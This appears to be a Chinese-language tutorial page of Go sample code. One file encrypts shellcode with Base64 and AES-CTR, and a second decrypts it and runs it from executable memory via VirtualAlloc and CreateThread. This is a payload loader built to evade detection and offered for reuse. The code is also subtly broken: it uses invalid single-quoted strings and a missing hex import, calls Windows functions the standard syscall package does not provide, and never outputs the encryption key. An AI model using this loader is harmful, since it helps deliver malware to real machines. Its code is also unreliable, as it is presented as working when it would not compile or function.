Go语言实现Shellcode加密与加载执行 - 示例代码

Go语言实现Shellcode加密与加载执行 - 示例代码

本文提供使用Go语言实现Shellcode加密与加载执行的示例代码，包括使用AES加密、Base64编码，以及使用syscall库加载和执行Shellcode的步骤。

jiami.go：Shellcode加密

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "encoding/base64"
    "fmt"
    "io/ioutil"
    "math/rand"
    "os"
    "time"
)

func main() {
    // 读取payload.bin文件
    file, err := os.Open('payload.bin')
    if err != nil {
        fmt.Println('Failed to open file: ', err)
        return
    }
    defer file.Close()

    // 读取文件内容
    payload, err := ioutil.ReadAll(file)
    if err != nil {
        fmt.Println('Failed to read file: ', err)
        return
    }

    // base64编码
    b64Payload := base64.StdEncoding.EncodeToString(payload)

    // 生成16位随机密钥
    key := make([]byte, 16)
    rand.Seed(time.Now().UnixNano())
    for i := 0; i < 16; i++ {
        key[i] = byte(rand.Intn(256))
    }

    // AES加密
    block, err := aes.NewCipher(key)
    if err != nil {
        fmt.Println('Failed to create cipher: ', err)
        return
    }

    iv := make([]byte, aes.BlockSize)
    stream := cipher.NewCTR(block, iv)
    encryptedPayload := make([]byte, len(b64Payload))
    stream.XORKeyStream(encryptedPayload, []byte(b64Payload))

    // 输出加密后的shellcode
    fmt.Printf('Encrypted Payload: %x\n', encryptedPayload)
}

shellcode.go：Shellcode加载与执行

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "encoding/base64"
    "fmt"
    "syscall"
    "unsafe"
)

func main() {
    // 加载加密后的shellcode
    encryptedPayload, err := hex.DecodeString('...')
    if err != nil {
        fmt.Println('Failed to decode encrypted payload: ', err)
        return
    }

    // 解密
    key := []byte('...')
    block, err := aes.NewCipher(key)
    if err != nil {
        fmt.Println('Failed to create cipher: ', err)
        return
    }

    iv := make([]byte, aes.BlockSize)
    stream := cipher.NewCTR(block, iv)
    decryptedPayload := make([]byte, len(encryptedPayload))
    stream.XORKeyStream(decryptedPayload, encryptedPayload)

    // base64解码
    payload, err := base64.StdEncoding.DecodeString(string(decryptedPayload))
    if err != nil {
        fmt.Println('Failed to decode payload: ', err)
        return
    }

    // 分配内存
    mem, err := syscall.VirtualAlloc(
        0,
        uintptr(len(payload)),
        syscall.MEM_COMMIT|syscall.MEM_RESERVE,
        syscall.PAGE_EXECUTE_READWRITE,
    )
    if err != nil {
        fmt.Println('Failed to allocate memory: ', err)
        return
    }

    // 复制shellcode到内存中
    _, err = CopyMemory(mem, payload)
    if err != nil {
        fmt.Println('Failed to copy payload to memory: ', err)
        return
    }

    // 创建线程并执行shellcode
    _, err = syscall.CreateThread(
        0,
        0,
        mem,
        0,
        0,
        0,
    )
    if err != nil {
        fmt.Println('Failed to create thread: ', err)
        return
    }
}

func CopyMemory(dest uintptr, src []byte) (uintptr, error) {
    if len(src) == 0 {
        return 0, nil
    }

    var written uintptr
    ptr, err := syscall.WriteProcessMemory(
        syscall.GetCurrentProcess(),
        dest,
        &src[0],
        uint32(len(src)),
        &written,
    )
    if err != nil {
        return 0, err
    }

    return ptr, nil
}

说明:

• 'payload.bin' 文件存放需要加密的shellcode。
• '...' 处需要替换为实际的加密后的shellcode和密钥。
• 请确保'shellcode.go'和'payload.bin'文件在同一目录下。

本文代码仅供参考，实际使用中需要根据具体需求进行调整。